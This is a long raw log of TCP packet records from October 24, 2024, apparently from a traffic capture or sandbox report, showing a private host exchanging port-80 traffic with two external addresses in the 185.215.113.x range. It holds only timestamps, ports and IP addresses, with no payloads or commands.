Oct 24, 2024 04:58:05.740752935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741080046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741520882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741555929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741575003 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741590023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741591930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741624117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741658926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741674900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741691113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741736889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741765022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741799116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741825104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741832972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741864920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741880894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741900921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741939068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.741957903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.741972923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.742006063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.742042065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.742060900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.742075920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.742082119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.742110014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.742142916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.742191076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.747520924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.747625113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.747658968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.747694016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.747694969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.747731924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.747917891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.820910931 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:05.822529078 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:05.979104042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979121923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979163885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.979408979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979425907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979440928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979456902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979465008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.979473114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979487896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:05.979492903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:05.979526997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.019226074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019263029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019298077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019356966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019366026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.019412041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019418001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.019445896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019480944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019495010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.019514084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019551992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.019558907 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.064650059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.067404985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.067425966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.067444086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.067459106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.067486048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.067508936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.098599911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.098622084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.098694086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.105983973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.105998993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.106070995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.138504028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.138650894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.138762951 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.186683893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.186717987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.186750889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.186794996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.225632906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.225665092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.225698948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.225733042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.225747108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.225776911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.225780010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.225816011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.225825071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.267807961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.306148052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.306186914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.306221008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.306233883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.344809055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.344832897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.344849110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.344961882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.344986916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.345002890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.345016956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.345031023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.345041990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.345093966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.392807007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.425251007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.425270081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.425285101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.425301075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.425348043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.425379992 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.463891983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.463922977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.463941097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.463989973 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.464000940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.464016914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.464046001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.464238882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.464255095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.464272022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.464284897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.464288950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.464314938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.517795086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.544547081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.544579983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.544595003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.544629097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.583287001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583306074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583331108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583345890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583359957 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.583406925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.583424091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583439112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583457947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583467960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.583472967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.583503962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.627175093 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.664100885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.664165020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.664179087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.664196014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.664225101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.664273024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.702625990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702646971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702670097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702692986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702712059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702735901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702744007 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.702754021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702761889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.702770948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.702826977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.702858925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.703155041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.703202009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.703254938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.783531904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.783584118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.783622980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.783660889 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.822153091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822222948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822253942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.822262049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822298050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822331905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.822333097 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822369099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822376966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.822405100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822443008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.822448015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.865952015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.866008043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.866025925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.902626038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.902681112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.902688980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.902713060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.902745962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.902780056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.941207886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941293955 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.941389084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941402912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941416025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941431999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941445112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941450119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.941469908 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.941536903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941551924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941565990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:06.941584110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:06.941626072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.021996021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.022033930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.022068977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.022085905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.060543060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.060599089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.060599089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.060632944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.060688019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.060693979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.060728073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.060761929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.060776949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.060797930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.060833931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.061043978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.061073065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.061122894 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.061124086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.061153889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.061207056 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.141316891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.141335964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.141351938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.141376972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.181969881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182033062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.182035923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182090044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182123899 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182148933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.182158947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182193995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182205915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.182230949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182265997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182280064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.182301044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182336092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182343006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.182370901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.182451963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.260659933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.260698080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.260732889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.260762930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.299336910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299371958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299412012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.299423933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299459934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299477100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.299511909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299542904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299561024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.299576044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299608946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299622059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.299736023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299777985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.299792051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299829006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299861908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.299870968 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.331150055 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:07.331531048 CEST	49994	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:07.336834908 CEST	80	49993	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:07.336929083 CEST	49993	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:07.336934090 CEST	80	49994	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:07.337006092 CEST	49994	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:07.337142944 CEST	49994	80	192.168.2.6	185.215.113.43
Oct 24, 2024 04:58:07.342381001 CEST	80	49994	185.215.113.43	192.168.2.6
Oct 24, 2024 04:58:07.345904112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.379851103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.379885912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.379920959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.379946947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.418936014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.418971062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419003010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.419007063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419042110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419059038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.419076920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419106007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419130087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.419140100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419182062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.419192076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419225931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419260979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419269085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.419291019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419327974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.419344902 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419378042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419411898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.419420958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.470905066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.499032021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.499066114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.499116898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.499121904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.499146938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.499190092 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.538206100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538220882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538235903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538250923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538266897 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538268089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.538280964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538295984 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.538295984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538312912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538320065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.538363934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.538414001 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538429976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538445950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538472891 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.538655043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538670063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538685083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:07.538698912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.538728952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:07.618438959 CEST	80	49774	185.215.113.16	192.168.2.6
